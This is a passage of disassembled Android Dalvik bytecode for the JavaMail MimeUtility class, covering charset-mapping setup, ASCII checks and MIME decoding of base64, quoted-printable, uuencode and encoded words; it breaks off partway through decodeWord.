00000086  const-string            v3, "mail.mime.foldtext"
0000008A  invoke-static           System->getProperty(String)String, v3
00000090  move-result-object      v3
00000092  if-eqz                  v3, :474
:96
00000096  const-string            v4, "false"
0000009A  invoke-virtual          String->equalsIgnoreCase(String)Z, v3, v4
000000A0  move-result             v3
000000A2  if-eqz                  v3, :474
:A6
000000A6  sput-boolean            v1, MimeUtility->foldText:Z
:AA
000000AA  new-instance            v1, Hashtable
000000AE  const/16                v2, 0x28
000000B2  invoke-direct           Hashtable-><init>(I)V, v1, v2
000000B8  sput-object             v1, MimeUtility->java2mime:Hashtable
000000BC  new-instance            v1, Hashtable
000000C0  const/16                v2, 0xA
000000C4  invoke-direct           Hashtable-><init>(I)V, v1, v2
000000CA  sput-object             v1, MimeUtility->mime2java:Hashtable
:CE
000000CE  const-class             v1, MimeUtility
000000D2  const-string            v2, "/META-INF/javamail.charset.map"
000000D6  invoke-virtual          Class->getResourceAsStream(String)InputStream, v1, v2
:DC
000000DC  move-result-object      v3
000000DE  if-eqz                  v3, :116
:E2
000000E2  new-instance            v2, LineInputStream
000000E6  invoke-direct           LineInputStream-><init>(InputStream)V, v2, v3
:EC
000000EC  move-object             v0, v2
000000EE  check-cast              v0, LineInputStream
000000F2  move-object             v1, v0
000000F4  sget-object             v3, MimeUtility->java2mime:Hashtable
000000F8  invoke-static           MimeUtility->loadMappings(LineInputStream, Hashtable)V, v1, v3
000000FE  move-object             v0, v2
00000100  check-cast              v0, LineInputStream
00000104  move-object             v1, v0
00000106  sget-object             v3, MimeUtility->mime2java:Hashtable
0000010A  invoke-static           MimeUtility->loadMappings(LineInputStream, Hashtable)V, v1, v3
:110
00000110  invoke-virtual          InputStream->close()V, v2
:116
00000116  sget-object             v1, MimeUtility->java2mime:Hashtable
0000011A  invoke-virtual          Hashtable->isEmpty()Z, v1
00000120  move-result             v1
00000122  if-eqz                  v1, :39C
:126
00000126  sget-object             v1, MimeUtility->java2mime:Hashtable
0000012A  const-string            v2, "8859_1"
0000012E  const-string            v3, "ISO-8859-1"
00000132  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000138  sget-object             v1, MimeUtility->java2mime:Hashtable
0000013C  const-string            v2, "iso8859_1"
00000140  const-string            v3, "ISO-8859-1"
00000144  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000014A  sget-object             v1, MimeUtility->java2mime:Hashtable
0000014E  const-string            v2, "iso8859-1"
00000152  const-string            v3, "ISO-8859-1"
00000156  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000015C  sget-object             v1, MimeUtility->java2mime:Hashtable
00000160  const-string            v2, "8859_2"
00000164  const-string            v3, "ISO-8859-2"
00000168  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000016E  sget-object             v1, MimeUtility->java2mime:Hashtable
00000172  const-string            v2, "iso8859_2"
00000176  const-string            v3, "ISO-8859-2"
0000017A  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000180  sget-object             v1, MimeUtility->java2mime:Hashtable
00000184  const-string            v2, "iso8859-2"
00000188  const-string            v3, "ISO-8859-2"
0000018C  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000192  sget-object             v1, MimeUtility->java2mime:Hashtable
00000196  const-string            v2, "8859_3"
0000019A  const-string            v3, "ISO-8859-3"
0000019E  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000001A4  sget-object             v1, MimeUtility->java2mime:Hashtable
000001A8  const-string            v2, "iso8859_3"
000001AC  const-string            v3, "ISO-8859-3"
000001B0  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000001B6  sget-object             v1, MimeUtility->java2mime:Hashtable
000001BA  const-string            v2, "iso8859-3"
000001BE  const-string            v3, "ISO-8859-3"
000001C2  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000001C8  sget-object             v1, MimeUtility->java2mime:Hashtable
000001CC  const-string            v2, "8859_4"
000001D0  const-string            v3, "ISO-8859-4"
000001D4  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000001DA  sget-object             v1, MimeUtility->java2mime:Hashtable
000001DE  const-string            v2, "iso8859_4"
000001E2  const-string            v3, "ISO-8859-4"
000001E6  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000001EC  sget-object             v1, MimeUtility->java2mime:Hashtable
000001F0  const-string            v2, "iso8859-4"
000001F4  const-string            v3, "ISO-8859-4"
000001F8  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000001FE  sget-object             v1, MimeUtility->java2mime:Hashtable
00000202  const-string            v2, "8859_5"
00000206  const-string            v3, "ISO-8859-5"
0000020A  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000210  sget-object             v1, MimeUtility->java2mime:Hashtable
00000214  const-string            v2, "iso8859_5"
00000218  const-string            v3, "ISO-8859-5"
0000021C  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000222  sget-object             v1, MimeUtility->java2mime:Hashtable
00000226  const-string            v2, "iso8859-5"
0000022A  const-string            v3, "ISO-8859-5"
0000022E  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000234  sget-object             v1, MimeUtility->java2mime:Hashtable
00000238  const-string            v2, "8859_6"
0000023C  const-string            v3, "ISO-8859-6"
00000240  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000246  sget-object             v1, MimeUtility->java2mime:Hashtable
0000024A  const-string            v2, "iso8859_6"
0000024E  const-string            v3, "ISO-8859-6"
00000252  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000258  sget-object             v1, MimeUtility->java2mime:Hashtable
0000025C  const-string            v2, "iso8859-6"
00000260  const-string            v3, "ISO-8859-6"
00000264  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000026A  sget-object             v1, MimeUtility->java2mime:Hashtable
0000026E  const-string            v2, "8859_7"
00000272  const-string            v3, "ISO-8859-7"
00000276  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000027C  sget-object             v1, MimeUtility->java2mime:Hashtable
00000280  const-string            v2, "iso8859_7"
00000284  const-string            v3, "ISO-8859-7"
00000288  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000028E  sget-object             v1, MimeUtility->java2mime:Hashtable
00000292  const-string            v2, "iso8859-7"
00000296  const-string            v3, "ISO-8859-7"
0000029A  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000002A0  sget-object             v1, MimeUtility->java2mime:Hashtable
000002A4  const-string            v2, "8859_8"
000002A8  const-string            v3, "ISO-8859-8"
000002AC  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000002B2  sget-object             v1, MimeUtility->java2mime:Hashtable
000002B6  const-string            v2, "iso8859_8"
000002BA  const-string            v3, "ISO-8859-8"
000002BE  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000002C4  sget-object             v1, MimeUtility->java2mime:Hashtable
000002C8  const-string            v2, "iso8859-8"
000002CC  const-string            v3, "ISO-8859-8"
000002D0  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000002D6  sget-object             v1, MimeUtility->java2mime:Hashtable
000002DA  const-string            v2, "8859_9"
000002DE  const-string            v3, "ISO-8859-9"
000002E2  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000002E8  sget-object             v1, MimeUtility->java2mime:Hashtable
000002EC  const-string            v2, "iso8859_9"
000002F0  const-string            v3, "ISO-8859-9"
000002F4  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000002FA  sget-object             v1, MimeUtility->java2mime:Hashtable
000002FE  const-string            v2, "iso8859-9"
00000302  const-string            v3, "ISO-8859-9"
00000306  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000030C  sget-object             v1, MimeUtility->java2mime:Hashtable
00000310  const-string            v2, "sjis"
00000314  const-string            v3, "Shift_JIS"
00000318  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000031E  sget-object             v1, MimeUtility->java2mime:Hashtable
00000322  const-string            v2, "jis"
00000326  const-string            v3, "ISO-2022-JP"
0000032A  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000330  sget-object             v1, MimeUtility->java2mime:Hashtable
00000334  const-string            v2, "iso2022jp"
00000338  const-string            v3, "ISO-2022-JP"
0000033C  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000342  sget-object             v1, MimeUtility->java2mime:Hashtable
00000346  const-string            v2, "euc_jp"
0000034A  const-string            v3, "euc-jp"
0000034E  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000354  sget-object             v1, MimeUtility->java2mime:Hashtable
00000358  const-string            v2, "koi8_r"
0000035C  const-string            v3, "koi8-r"
00000360  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000366  sget-object             v1, MimeUtility->java2mime:Hashtable
0000036A  const-string            v2, "euc_cn"
0000036E  const-string            v3, "euc-cn"
00000372  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000378  sget-object             v1, MimeUtility->java2mime:Hashtable
0000037C  const-string            v2, "euc_tw"
00000380  const-string            v3, "euc-tw"
00000384  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000038A  sget-object             v1, MimeUtility->java2mime:Hashtable
0000038E  const-string            v2, "euc_kr"
00000392  const-string            v3, "euc-kr"
00000396  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
:39C
0000039C  sget-object             v1, MimeUtility->mime2java:Hashtable
000003A0  invoke-virtual          Hashtable->isEmpty()Z, v1
000003A6  move-result             v1
000003A8  if-eqz                  v1, :460
:3AC
000003AC  sget-object             v1, MimeUtility->mime2java:Hashtable
000003B0  const-string            v2, "iso-2022-cn"
000003B4  const-string            v3, "ISO2022CN"
000003B8  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000003BE  sget-object             v1, MimeUtility->mime2java:Hashtable
000003C2  const-string            v2, "iso-2022-kr"
000003C6  const-string            v3, "ISO2022KR"
000003CA  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000003D0  sget-object             v1, MimeUtility->mime2java:Hashtable
000003D4  const-string            v2, "utf-8"
000003D8  const-string            v3, "UTF8"
000003DC  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000003E2  sget-object             v1, MimeUtility->mime2java:Hashtable
000003E6  const-string            v2, "utf8"
000003EA  const-string            v3, "UTF8"
000003EE  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
000003F4  sget-object             v1, MimeUtility->mime2java:Hashtable
000003F8  const-string            v2, "ja_jp.iso2022-7"
000003FC  const-string            v3, "ISO2022JP"
00000400  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000406  sget-object             v1, MimeUtility->mime2java:Hashtable
0000040A  const-string            v2, "ja_jp.eucjp"
0000040E  const-string            v3, "EUCJIS"
00000412  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
00000418  sget-object             v1, MimeUtility->mime2java:Hashtable
0000041C  const-string            v2, "euc-kr"
00000420  const-string            v3, "KSC5601"
00000424  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000042A  sget-object             v1, MimeUtility->mime2java:Hashtable
0000042E  const-string            v2, "euckr"
00000432  const-string            v3, "KSC5601"
00000436  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000043C  sget-object             v1, MimeUtility->mime2java:Hashtable
00000440  const-string            v2, "us-ascii"
00000444  const-string            v3, "ISO-8859-1"
00000448  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
0000044E  sget-object             v1, MimeUtility->mime2java:Hashtable
00000452  const-string            v2, "x-us-ascii"
00000456  const-string            v3, "ISO-8859-1"
0000045A  invoke-virtual          Hashtable->put(Object, Object)Object, v1, v2, v3
:460
00000460  return-void
:462
00000462  move                    v3, v2
00000464  goto/16                 :36
:468
00000468  move                    v3, v1
0000046A  goto/16                 :5C
:46E
0000046E  move                    v3, v1
00000470  goto/16                 :82
:474
00000474  move                    v1, v2
00000476  goto/16                 :A6
:47A
0000047A  move-exception          v1
0000047C  move-object             v2, v3
:47E
0000047E  invoke-virtual          InputStream->close()V, v2
:484
00000484  throw                   v1
:486
00000486  move-exception          v1
00000488  goto/16                 :116
:48C
0000048C  move-exception          v2
0000048E  goto                    :484
:490
00000490  move-exception          v1
00000492  goto/16                 :116
:496
00000496  move-exception          v1
00000498  goto                    :47E
:49A
0000049A  move-exception          v1
0000049C  goto/16                 :AA
          .catch SecurityException {:14 .. :AA} :49A
          .catch Exception {:CE .. :DC} :486
          .catchall {:E2 .. :EC} :47A
          .catchall {:EC .. :110} :496
          .catch Exception {:110 .. :116} :490
          .catch Exception {:47E .. :484} :48C
          .catch Exception {:484 .. :486} :486
.end method

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method static checkAscii(InputStream, I, Z)I
          .registers 20
00000000  const/4                 v7, 0x0
00000002  const/4                 v6, 0x0
00000004  const/16                v3, 0x1000
00000008  const/4                 v9, 0x0
0000000A  const/4                 v5, 0x0
0000000C  const/4                 v4, 0x0
0000000E  sget-boolean            v1, MimeUtility->encodeEolStrict:Z
00000012  if-eqz                  v1, :58
:16
00000016  if-eqz                  p2, :58
:1A
0000001A  const/4                 v1, 0x1
0000001C  move                    v2, v1
:1E
0000001E  const/4                 v1, 0x0
00000020  check-cast              v1, [B
00000024  if-eqz                  p1, :196
:28
00000028  const/4                 v1, 0xFFFFFFFFFFFFFFFF
0000002A  move/from16             v0, p1
0000002E  if-ne                   v0, v1, :5E
:32
00000032  const/16                v1, 0x1000
:36
00000036  new-array               v3, v1, [B
0000003A  move-object             v10, v3
0000003C  move                    v8, v9
0000003E  move                    v11, v1
00000040  move                    v1, v4
00000042  move                    v3, v5
00000044  move                    v4, v6
00000046  move                    v5, v7
:48
00000048  if-nez                  p1, :70
:4C
0000004C  if-nez                  p1, :14A
:50
00000050  if-eqz                  p2, :14A
:54
00000054  const/4                 v1, 0x3
:56
00000056  return                  v1
:58
00000058  const/4                 v1, 0x0
0000005A  move                    v2, v1
0000005C  goto                    :1E
:5E
0000005E  const/16                v1, 0x1000
00000062  move/from16             v0, p1
00000066  invoke-static           Math->min(I, I)I, v0, v1
0000006C  move-result             v1
0000006E  goto                    :36
:70
00000070  const/4                 v6, 0x0
:72
00000072  move-object/from16      v0, p0
00000076  invoke-virtual          InputStream->read([B, I, I)I, v0, v10, v6, v11
:7C
0000007C  move-result             v12
0000007E  const/4                 v6, 0xFFFFFFFFFFFFFFFF
00000080  if-eq                   v12, v6, :4C
:84
00000084  const/4                 v7, 0x0
00000086  const/4                 v6, 0x0
00000088  move                    v9, v8
0000008A  move                    v14, v7
0000008C  move                    v7, v6
0000008E  move                    v6, v14
00000090  move                    v15, v3
00000092  move                    v3, v5
00000094  move                    v5, v15
00000096  move/from16             v16, v4
0000009A  move                    v4, v1
0000009C  move/from16             v1, v16
:A0
000000A0  if-lt                   v7, v12, :C2
:A4
000000A4  const/4                 v6, 0xFFFFFFFFFFFFFFFF
000000A6  move/from16             v0, p1
000000AA  if-eq                   v0, v6, :184
:AE
000000AE  sub-int                 p1, p1, v12
000000B2  move                    v8, v9
000000B4  move                    v14, v5
000000B6  move                    v5, v3
000000B8  move                    v3, v14
000000BA  move                    v15, v1
000000BC  move                    v1, v4
000000BE  move                    v4, v15
000000C0  goto                    :48
:C2
000000C2  aget-byte               v8, v10, v7
000000C6  and-int/lit16           v8, v8, 0xFF
000000CA  if-eqz                  v2, :F0
:CE
000000CE  const/16                v13, 0xD
000000D2  if-ne                   v6, v13, :DE
:D6
000000D6  const/16                v13, 0xA
000000DA  if-ne                   v8, v13, :EE
:DE
000000DE  const/16                v13, 0xD
000000E2  if-eq                   v6, v13, :F0
:E6
000000E6  const/16                v6, 0xA
000000EA  if-ne                   v8, v6, :F0
:EE
000000EE  const/4                 v4, 0x1
:F0
000000F0  const/16                v6, 0xD
000000F4  if-eq                   v8, v6, :100
:F8
000000F8  const/16                v6, 0xA
000000FC  if-ne                   v8, v6, :116
:100
00000100  const/4                 v6, 0x0
:102
00000102  invoke-static           MimeUtility->nonascii(I)Z, v8
:108
00000108  move-result             v9
0000010A  if-eqz                  v9, :134
:10E
0000010E  if-eqz                  p2, :126
:112
00000112  const/4                 v1, 0x3
00000114  goto                    :56
:116
00000116  add-int/lit8            v6, v9, 0x1
0000011A  const/16                v9, 0x3E6
0000011E  if-le                   v6, v9, :102
:122
00000122  const/4                 v5, 0x1
00000124  goto                    :102
:126
00000126  add-int/lit8            v1, v1, 0x1
:12A
0000012A  add-int/lit8            v7, v7, 0x1
0000012E  move                    v9, v6
00000130  move                    v6, v8
00000132  goto                    :A0
:134
00000134  add-int/lit8            v3, v3, 0x1
00000138  goto                    :12A
:13A
0000013A  move-exception          v2
0000013C  move                    v2, v3
0000013E  move                    v3, v4
00000140  move                    v4, v5
:142
00000142  move                    v5, v4
00000144  move                    v4, v3
00000146  move                    v3, v2
00000148  goto                    :4C
:14A
0000014A  if-nez                  v4, :166
:14E
0000014E  if-eqz                  v1, :156
:152
00000152  const/4                 v1, 0x3
00000154  goto                    :56
:156
00000156  if-eqz                  v3, :160
:15A
0000015A  const/4                 v1, 0x2
0000015C  goto/16                 :56
:160
00000160  const/4                 v1, 0x1
00000162  goto/16                 :56
:166
00000166  if-le                   v5, v4, :170
:16A
0000016A  const/4                 v1, 0x2
0000016C  goto/16                 :56
:170
00000170  const/4                 v1, 0x3
00000172  goto/16                 :56
:176
00000176  move-exception          v2
00000178  move                    v2, v5
0000017A  move                    v14, v4
0000017C  move                    v4, v3
0000017E  move                    v3, v1
00000180  move                    v1, v14
00000182  goto                    :142
:184
00000184  move                    v8, v9
00000186  move                    v14, v5
00000188  move                    v5, v3
0000018A  move                    v3, v14
0000018C  move                    v15, v1
0000018E  move                    v1, v4
00000190  move                    v4, v15
00000192  goto/16                 :48
:196
00000196  move-object             v10, v1
00000198  move                    v8, v9
0000019A  move                    v11, v3
0000019C  move                    v1, v4
0000019E  move                    v3, v5
000001A0  move                    v4, v6
000001A2  move                    v5, v7
000001A4  goto/16                 :48
          .catch IOException {:72 .. :7C} :13A
          .catch IOException {:C2 .. :108} :176
.end method

.method static checkAscii(String)I
          .registers 6
00000000  const/4                 v0, 0x0
00000002  invoke-virtual          String->length()I, p0
00000008  move-result             v3
0000000A  move                    v2, v0
0000000C  move                    v1, v0
:E
0000000E  if-lt                   v2, v3, :1A
:12
00000012  if-nez                  v0, :3E
:16
00000016  const/4                 v0, 0x1
:18
00000018  return                  v0
:1A
0000001A  invoke-virtual          String->charAt(I)C, p0, v2
00000020  move-result             v4
00000022  invoke-static           MimeUtility->nonascii(I)Z, v4
00000028  move-result             v4
0000002A  if-eqz                  v4, :38
:2E
0000002E  add-int/lit8            v0, v0, 0x1
:32
00000032  add-int/lit8            v2, v2, 0x1
00000036  goto                    :E
:38
00000038  add-int/lit8            v1, v1, 0x1
0000003C  goto                    :32
:3E
0000003E  if-le                   v1, v0, :46
:42
00000042  const/4                 v0, 0x2
00000044  goto                    :18
:46
00000046  const/4                 v0, 0x3
00000048  goto                    :18
.end method

.method static checkAscii([B)I
          .registers 5
00000000  const/4                 v0, 0x0
00000002  move                    v1, v0
00000004  move                    v2, v0
:6
00000006  array-length            v3, p0
00000008  if-lt                   v0, v3, :14
:C
0000000C  if-nez                  v1, :38
:10
00000010  const/4                 v0, 0x1
:12
00000012  return                  v0
:14
00000014  aget-byte               v3, p0, v0
00000018  and-int/lit16           v3, v3, 0xFF
0000001C  invoke-static           MimeUtility->nonascii(I)Z, v3
00000022  move-result             v3
00000024  if-eqz                  v3, :32
:28
00000028  add-int/lit8            v1, v1, 0x1
:2C
0000002C  add-int/lit8            v0, v0, 0x1
00000030  goto                    :6
:32
00000032  add-int/lit8            v2, v2, 0x1
00000036  goto                    :2C
:38
00000038  if-le                   v2, v1, :40
:3C
0000003C  const/4                 v0, 0x2
0000003E  goto                    :12
:40
00000040  const/4                 v0, 0x3
00000042  goto                    :12
.end method

.method public static decode(InputStream, String)InputStream
          .registers 5
00000000  const-string            v0, "base64"
00000004  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
0000000A  move-result             v0
0000000C  if-eqz                  v0, :1E
:10
00000010  new-instance            v0, BASE64DecoderStream
00000014  invoke-direct           BASE64DecoderStream-><init>(InputStream)V, v0, p0
0000001A  move-object             p0, v0
:1C
0000001C  return-object           p0
:1E
0000001E  const-string            v0, "quoted-printable"
00000022  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000028  move-result             v0
0000002A  if-eqz                  v0, :3C
:2E
0000002E  new-instance            v0, QPDecoderStream
00000032  invoke-direct           QPDecoderStream-><init>(InputStream)V, v0, p0
00000038  move-object             p0, v0
0000003A  goto                    :1C
:3C
0000003C  const-string            v0, "uuencode"
00000040  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000046  move-result             v0
00000048  if-nez                  v0, :6C
:4C
0000004C  const-string            v0, "x-uuencode"
00000050  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000056  move-result             v0
00000058  if-nez                  v0, :6C
:5C
0000005C  const-string            v0, "x-uue"
00000060  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000066  move-result             v0
00000068  if-eqz                  v0, :7A
:6C
0000006C  new-instance            v0, UUDecoderStream
00000070  invoke-direct           UUDecoderStream-><init>(InputStream)V, v0, p0
00000076  move-object             p0, v0
00000078  goto                    :1C
:7A
0000007A  const-string            v0, "binary"
0000007E  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000084  move-result             v0
00000086  if-nez                  v0, :1C
:8A
0000008A  const-string            v0, "7bit"
0000008E  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
00000094  move-result             v0
00000096  if-nez                  v0, :1C
:9A
0000009A  const-string            v0, "8bit"
0000009E  invoke-virtual          String->equalsIgnoreCase(String)Z, p1, v0
000000A4  move-result             v0
000000A6  if-nez                  v0, :1C
:AA
000000AA  new-instance            v0, MessagingException
000000AE  new-instance            v1, StringBuilder
000000B2  const-string            v2, "Unknown encoding: "
000000B6  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000BC  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
000000C2  move-result-object      v1
000000C4  invoke-virtual          StringBuilder->toString()String, v1
000000CA  move-result-object      v1
000000CC  invoke-direct           MessagingException-><init>(String)V, v0, v1
000000D2  throw                   v0
.end method

.method private static decodeInnerWords(String)String
          .registers 7
00000000  const/16                v5, 0x3F
00000004  const/4                 v0, 0x0
00000006  new-instance            v1, StringBuffer
0000000A  invoke-direct           StringBuffer-><init>()V, v1
:10
00000010  const-string            v2, "=?"
00000014  invoke-virtual          String->indexOf(String, I)I, p0, v2, v0
0000001A  move-result             v2
0000001C  if-gez                  v2, :26
:20
00000020  if-nez                  v0, :88
:24
00000024  return-object           p0
:26
00000026  invoke-virtual          String->substring(I, I)String, p0, v0, v2
0000002C  move-result-object      v3
0000002E  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v3
00000034  add-int/lit8            v3, v2, 0x2
00000038  invoke-virtual          String->indexOf(I, I)I, p0, v5, v3
0000003E  move-result             v3
00000040  if-ltz                  v3, :20
:44
00000044  add-int/lit8            v3, v3, 0x1
00000048  invoke-virtual          String->indexOf(I, I)I, p0, v5, v3
0000004E  move-result             v3
00000050  if-ltz                  v3, :20
:54
00000054  const-string            v4, "?="
00000058  add-int/lit8            v3, v3, 0x1
0000005C  invoke-virtual          String->indexOf(String, I)I, p0, v4, v3
00000062  move-result             v3
00000064  if-ltz                  v3, :20
:68
00000068  add-int/lit8            v0, v3, 0x2
0000006C  invoke-virtual          String->substring(I, I)String, p0, v2, v0
00000072  move-result-object      v0
:74
00000074  invoke-static           MimeUtility->decodeWord(String)String, v0
:7A
0000007A  move-result-object      v0
:7C
0000007C  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v0
00000082  add-int/lit8            v0, v3, 0x2
00000086  goto                    :10
:88
00000088  invoke-virtual          String->length()I, p0
0000008E  move-result             v2
00000090  if-ge                   v0, v2, :A2
:94
00000094  invoke-virtual          String->substring(I)String, p0, v0
0000009A  move-result-object      v0
0000009C  invoke-virtual          StringBuffer->append(String)StringBuffer, v1, v0
:A2
000000A2  invoke-virtual          StringBuffer->toString()String, v1
000000A8  move-result-object      p0
000000AA  goto                    :24
:AC
000000AC  move-exception          v2
000000AE  goto                    :7C
          .catch ParseException {:74 .. :7A} :AC
.end method

.method public static decodeText(String)String
          .registers 10
00000000  const/4                 v4, 0x1
00000002  const/4                 v1, 0x0
00000004  const-string            v0, " \t\n\r"
00000008  const-string            v2, "=?"
0000000C  invoke-virtual          String->indexOf(String)I, p0, v2
00000012  move-result             v2
00000014  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000016  if-ne                   v2, v3, :1C
:1A
0000001A  return-object           p0
:1C
0000001C  new-instance            v5, StringTokenizer
00000020  invoke-direct           StringTokenizer-><init>(String, String, Z)V, v5, p0, v0, v4
00000026  new-instance            v6, StringBuffer
0000002A  invoke-direct           StringBuffer-><init>()V, v6
00000030  new-instance            v7, StringBuffer
00000034  invoke-direct           StringBuffer-><init>()V, v7
0000003A  move                    v0, v1
:3C
0000003C  invoke-virtual          StringTokenizer->hasMoreTokens()Z, v5
00000042  move-result             v2
00000044  if-nez                  v2, :58
:48
00000048  invoke-virtual          StringBuffer->append(StringBuffer)StringBuffer, v6, v7
0000004E  invoke-virtual          StringBuffer->toString()String, v6
00000054  move-result-object      p0
00000056  goto                    :1A
:58
00000058  invoke-virtual          StringTokenizer->nextToken()String, v5
0000005E  move-result-object      v3
00000060  invoke-virtual          String->charAt(I)C, v3, v1
00000066  move-result             v2
00000068  const/16                v8, 0x20
0000006C  if-eq                   v2, v8, :88
:70
00000070  const/16                v8, 0x9
00000074  if-eq                   v2, v8, :88
:78
00000078  const/16                v8, 0xD
0000007C  if-eq                   v2, v8, :88
:80
00000080  const/16                v8, 0xA
00000084  if-ne                   v2, v8, :90
:88
00000088  invoke-virtual          StringBuffer->append(C)StringBuffer, v7, v2
0000008E  goto                    :3C
:90
00000090  invoke-static           MimeUtility->decodeWord(String)String, v3
00000096  move-result-object      v2
00000098  if-nez                  v0, :AE
:9C
0000009C  invoke-virtual          StringBuffer->length()I, v7
000000A2  move-result             v8
000000A4  if-lez                  v8, :AE
:A8
000000A8  invoke-virtual          StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:AE
000000AE  move                    v0, v4
:B0
000000B0  invoke-virtual          StringBuffer->append(String)StringBuffer, v6, v2
000000B6  invoke-virtual          StringBuffer->setLength(I)V, v7, v1
000000BC  goto                    :3C
:BE
000000BE  move-exception          v2
000000C0  sget-boolean            v2, MimeUtility->decodeStrict:Z
000000C4  if-nez                  v2, :120
:C8
000000C8  invoke-static           MimeUtility->decodeInnerWords(String)String, v3
000000CE  move-result-object      v2
000000D0  if-eq                   v2, v3, :108
:D4
000000D4  if-eqz                  v0, :E8
:D8
000000D8  const-string            v0, "=?"
000000DC  invoke-virtual          String->startsWith(String)Z, v3, v0
000000E2  move-result             v0
000000E4  if-nez                  v0, :FA
:E8
000000E8  invoke-virtual          StringBuffer->length()I, v7
000000EE  move-result             v0
000000F0  if-lez                  v0, :FA
:F4
000000F4  invoke-virtual          StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:FA
000000FA  const-string            v0, "?="
000000FE  invoke-virtual          String->endsWith(String)Z, v3, v0
00000104  move-result             v0
00000106  goto                    :B0
:108
00000108  invoke-virtual          StringBuffer->length()I, v7
0000010E  move-result             v0
00000110  if-lez                  v0, :11A
:114
00000114  invoke-virtual          StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:11A
0000011A  move-object             v2, v3
0000011C  move                    v0, v1
0000011E  goto                    :B0
:120
00000120  invoke-virtual          StringBuffer->length()I, v7
00000126  move-result             v0
00000128  if-lez                  v0, :132
:12C
0000012C  invoke-virtual          StringBuffer->append(StringBuffer)StringBuffer, v6, v7
:132
00000132  move-object             v2, v3
00000134  move                    v0, v1
00000136  goto                    :B0
          .catch ParseException {:90 .. :AE} :BE
.end method

.method public static decodeWord(String)String
          .registers 7
00000000  const/16                v3, 0x3F
00000004  const/4                 v4, 0xFFFFFFFFFFFFFFFF
00000006  const-string            v0, "=?"
0000000A  invoke-virtual          String->startsWith(String)Z, p0, v0
00000010  move-result             v0
00000012  if-nez                  v0, :40
:16
00000016  new-instance            v0, ParseException
0000001A  new-instance            v1, StringBuilder
0000001E  const-string            v2, "encoded word does not start with \"=?\": "
00000022  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000028  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p0
0000002E  move-result-object      v1
00000030  invoke-virtual          StringBuilder->toString()String, v1
00000036  move-result-object      v1
00000038  invoke-direct           ParseException-><init>(String)V, v0, v1
0000003E  throw                   v0
:40
00000040  const/4                 v0, 0x2
00000042  invoke-virtual          String->indexOf(I, I)I, p0, v3, v0
00000048  move-result             v1
0000004A  if-ne                   v1, v4, :78
:4E
0000004E  new-instance            v0, ParseException
00000052  new-instance            v1, StringBuilder
00000056  const-string            v2, "encoded word does not include charset: "
0000005A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000060  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p0
00000066  move-result-object      v1
